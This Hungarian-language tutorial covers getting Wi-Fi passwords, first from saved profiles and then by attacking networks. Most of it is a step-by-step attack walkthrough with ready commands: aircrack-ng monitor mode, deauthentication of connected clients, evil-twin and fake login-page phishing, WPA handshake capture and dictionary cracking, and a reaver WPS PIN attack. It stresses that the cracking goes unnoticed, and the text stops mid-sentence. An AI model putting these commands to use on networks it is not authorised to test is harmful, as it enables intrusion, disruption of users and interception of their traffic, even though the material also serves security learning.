Elfelejtett jelszó lekérdezése
Az operációs
rendszerek külön profilt készítenek minden Wi-Fi hálózatnak, amire rácsatlakoztak
és ez nem veszik el hacsak manuálisan el nem felejtettjük az adott hálózatot. A
profilokból kideríthető többek között a jelszó is.
- Indítsunk el parancssort adminisztrátor módban, majd gépeljük be a netsh wlan show profile parancsot. Ez egy Network Shell utasítás, ami kilistázza a Wi-Fi hálózati profilokat. A profil neve a hálózat nevével egyezik.
- A kilistázott profilok közül válasszuk ki azt a hálózatot, amelyik jelszavára szükség van, például „KnetAP”, majd gépeljük be a netsh wlan show profile name="KnetAP" key=clear parancsot. Ez az utasítás kilistázza a kiválasztott profil beállításait, köztük a jelszót olvasható formában.
- Indítsunk el parancssort, majd gépeljük be az ls /etc/NetworkManager/system-connections parancsot. Ez kilistázza a system-connections könyvtárban lévő fájlokat. Mindenik fájl egy hálózati konfigurációs fájl, ami az eddig használt hálózatok beállításait tartalmazza. A fájlok neve a hálózat nevével egyezik.
- A fájlok közül válasszuk ki azt, amelyik nevében szereplő hálózatot jelszavára szükség van, például „KnetAP”, majd gépeljük be a sudo cat /etc/NetworkManager/system-connections/KnetAP.nmconnection parancsot. Ez az utasítás megjeleníti a kiválasztott fájl tartalmát
- A megjelenített adatok közül a psk mező tartalmazza a jelszót.
- sudo apt update
- sudo apt upgrade
Jelszó megfejtése bruteforce módszerrel
1. A környező Wi-Fi hálózatok felderítése
- iwconfig - kilistázza az vezetéknélküli hálózati adaptereket. A wlan0 egy USB Wi-Fi adapter.
- iw list – kilistázza a kártya képességeit. A Supported interface modes alatt szerepelnie kell a monitor módnak.
- sudo airmon-ng check kill - megtisztítja az Aircrack-ng környezetét a zavaró folyamatoktól.
- sudo airmon-ng start wlan0 utasítás monitor módba kapcsolja a wlan0 hálózati kártyát. Egyes esetekben wlan0 itt wlan0mon-ra vagy mon0-ra változik a parancs után:
- sudo airodump-ng wlan0mon - kilistázza az elérhető Wi-Fi hálózatokat és a rájuk csatlakozó eszközök fizikai címeit. A folyamatból Ctrl+C-vel lehet kilépni.
- A felső táblázatból a következő adatok fontosak:
- A KnetAP router fizikai címe (BSSID): EC:10:7B:0D:C5:2B
- Ha az ESSID üres, akkor rejtett az adott hálózat.
- A router csatornája (CH): 6
- sudo airodump-ng wlan0mon --bssid [router MAC] --channel 6 - kilistázza a routerre csatlakozott klienseket, melyek adatcserét folytatnak a 6-os csatornán.
- A második táblázatból derül ki, hogy a 00:0C:F1:2F:D5:C2 a KnetAP-re csatlakozik.
- Ha netalán MAC szűrés van a hálózaton, akkor már tudjuk, hogy ez a MAC cím hozzáférhet a hálózathoz
- Ha a MAC nem volt manuálisan megváltoztatva, akkor egy Online MAC lookup oldalon ki lehet deríteni, hogy milyen gyártmányú készülékről van szó. Ezáltal kiszemelhető egy kevésbé érzékeny készülék, aminek nem probléma ha egy pillanatra lecsatlakozik a hálózatról.
2. A Wi-Fi-re csatlakozott eszközök kényszerített lecsatlakoztatása
- sudo aireplay-ng --deauth 0 -c [kliens MAC] -a [router MAC] wlan0mon – folyamatos lecsatlakoztatási parancsot küld a klienseknek és a routernek. Ha a -c [kliens MAC] paraméter hiányzik, akkor minden kliens megkapja a parancsot.
- Ha nem igényel emberi interakciót a készülék a működéshez (pl. webkamera), akkor a visszacsatlakozásnál elküldött csomagokat kell befogni és valamilyen bruteforce módszerrel feltörni titkosított jelszót.
- Számítógép / telefon esetén klónozni lehet a routert és rávenni a klienst, hogy a klónra (Evil twin) csatlakozzon.
- A jelszót egy hamis bejelentkezési oldallal lehet megszerezni, ami a felhasználótól kéri a Wi-Fi jelszót.
- Minden további adatforgalmat követni lehet, amíg a kliens a klónra van csatlakozva (=adathalászat)
3. A hitelesítési adafolyam befogása
- sudo airodump-ng wlan0mon --bssid [router MAC] --channel 6 -w csomagok – a „csomagok” fájlba menti a router 6-os csatornáján közlekedő összes adatcsomagot.
- (másik terminál) sudo aireplay-ng --deauth 5 -c [kliens MAC] -a [router MAC] wlan0mon – 5 lecsatlakoztatási támadást indít a kliens ellen. Amíg ez fut, a kliens újra csatlakozni próbál, ami megjelenik az első terminál jobb felső sarkában: WPA handshake: kliens MAC
- A fájlok a Home könyvtárban lesznek, hisz onnan volt a parancs elindítva. Ebből csak a .cap kiterjesztésűre van szükség.
- sudo aircrack-ng csomagok-01.cap – azonosítja a befogott csomagok közül a handshake-et
- sudo airmon-ng stop wlan0mon – kikapcsolja a Wi-Fi kártya monitor módját
- sudo service NetworkManager start – elindítja a Kali Linux hálózatkezelőjét
4. A hitelesítő adatcsomag megfejtése
- ANonce – egy véletlenszerű számsor, amit a hitelesítő küld a kliensnek.
- A kliens ezután generál egy SNonce véletlen számot
- A kliens generál egy PTK-t, ami egy kulcs a további adatforgalom titkosítására.
- PTK = PRF(PMK + ANonce + SNonce + MAC(kliens) + MAC(router))
- PMK – mesterkulcs amit a kliens és a router is ismer. Ezt kell majd visszafejteni.
- PMK = PBKDF2(HMAC−SHA1, PSK, SSID, 4096, 256)
- PBKDF2 - Password-based Key Derivation Funtion 2
- HMAC−SHA1 – titkosító algoritmus
- PSK – jelszó
- SSID – a hálózat neve (KnetAP)
- 4096 – az iterációk száma
- 256 – a PMK hosszúsága
- PRF – pszeudo-random függvény
- A PTK hossza 512 bit, ami fel van darabolva:
- 128 bit – Key Confirmation Key (KCK) – a MIC létrehozásához szükséges.
- 128 bit – Key Encryption Key (KEK) – a titkosításhoz szükséges.
- 128 bit – Temporal Key (TK) – Unicast csomagok titkosítására és visszafejtésére.
- 128 bit – MIC Tx és Rx – Az unicast csomagokat titkosító TKIP algoritmus használja
- SNonce + MIC – ahol a MIC (Message Integrity Check) = HMAC_SHA1(KCK, SNonce, r)
- HMAC_SHA1 – titkosító algoritmus
- KCK – a PTK első 128 bitje
- r – szekvenciaszám, hogy ugyanazt az üzenetet ne lehessen kétszer felhasználni
- GTK + MIC – ahol a MIC a router PTK-jának KCK részét használja a kódoláshoz.
- GTK (Group Temporal Key) = PRF-256(GMK, “Group key expansion”, MAC(router)||GNonce)
- PRF-256 – pszeudo-random függvény
- GMK (Group Master Key) – egy random szám amit a hitelesítő router időnként generál
- Gnonce – egy random szám amit a router a hitelesítés során generál
- MIC = HMAC_SHA1(KCK, GTK, r)
- ACK – a hitelesítés nyugtázása
A Hitelesítés végső soron a MIC-ek összehasonlításával történik. Ha a kliens és a hitelesítő által generált MIC-ek találnak a második üzenetet követően, akkor a PTK kulcsok is találnak, hisz ezekből vannak származtatva. Ha a PTK egyezik, akkor a PMK is egyezik, ami csak akkor egyezhet, ha a jelszó helyes. Ezután a router elküldi a GTK kulcsot amit a kliens telepít és nyugtáz.
A feltörő program feladata tehát hogy a befogott handshake adatokból (ANonce, SNonce) és egy adott jelszóból előállítsa a PMK-t, a PTK-t majd a MIC-ket és összehasonlítsa a handshake-ben található MIC-kel.
A befogott csomagok-01.cap fájl-ban a 4 adatfolyam a következő:
Ez a két üzenet már
elegendő információt biztosít, hogy a helyes MIC kulcsot ki lehessen számítani
különböző jelszavak próbálgatásával.
- aircrack-ng -a2 -b [router MAC] -w jelszavak.txt csomagok-01.cap
- a1 – WEP protokoll, a2 – WPA/WPA2 protokoll
A Kali Linux
virtuális gépként való futásának az a hátránya, hogy kizárólag a CPU
teljesítményét képes használni a számításokra. A program egy Intel Core i7-10850H
@ 2.7GHz (12CPU)
processzorral 2,5 óra alatt próbált végig 87 millió kombinációt mire eljutott a helyes
jelszóig. Egy GeForce GTX 1080 GPU ezt néhány másodperc alatt végrehajthatta
volna.
A kadon2184 jelszó bár nem tartalmaz speciális karaktereket, mégis erősnek számit, mert nem tartalmaz értelmes szót vagy személyes adatot. Sok jelszó esetén a speciális karakterek illetve számok értelmes szavakban helyettesítenek betűket, mint az a=@, i=1, e=3, s=$, i=!, n=^ amiket ismernek a jelszógeneráló programok is. A bruteforce legnagyobb ellensége a hosszú jelszó, illetve az azt értelmetlenné tévő automatikus beillesztések – amikor a begépelt jelszóhoz a felhasználói felület karaktereket illeszt különböző helyekre mielőtt elküldené a szervernek (pl. ka%2fdo%8dn2%4s18%2f4).
A bruteforce a legcsendesebb módszer, mert kényszerített lecsatlakoztatás nélkül, egy passzívan hallgatózó eszköz kivárhatja, míg valaki önszántából kapcsolódik a hálózatra, majd a handshake rögzítése után offline megfejti a jelszót. Az egész folyamat észrevétlen marad a feltört eszköz szempontjából.
Jelszó megfejtése a WPS PIN megfejtésével
1. A környező Wi-Fi hálózatok felderítése
- sudo airmon-ng start wlan0 - monitor módba kapcsolja a wlan0 hálókártyát.
- sudo wash -i wlan0 - kilistázza azokat a hálózatokat, melyeken aktív a WPS funkció.
2. A reaver támadás elindítása
- sudo reaver -i wlan0 -c 6 -b E8:DE:27:DE:5C:7C -vv (--no-nacks)
A -c a csatorna szána (ch oszlop), a -b a BSSID, a -vv pedig a verbose, vagyis a tevékenység részletezése. A próbálkozások órákig eltarthatnak, de végül a helyes PIN-nel együtt a jelszót is megjeleníti: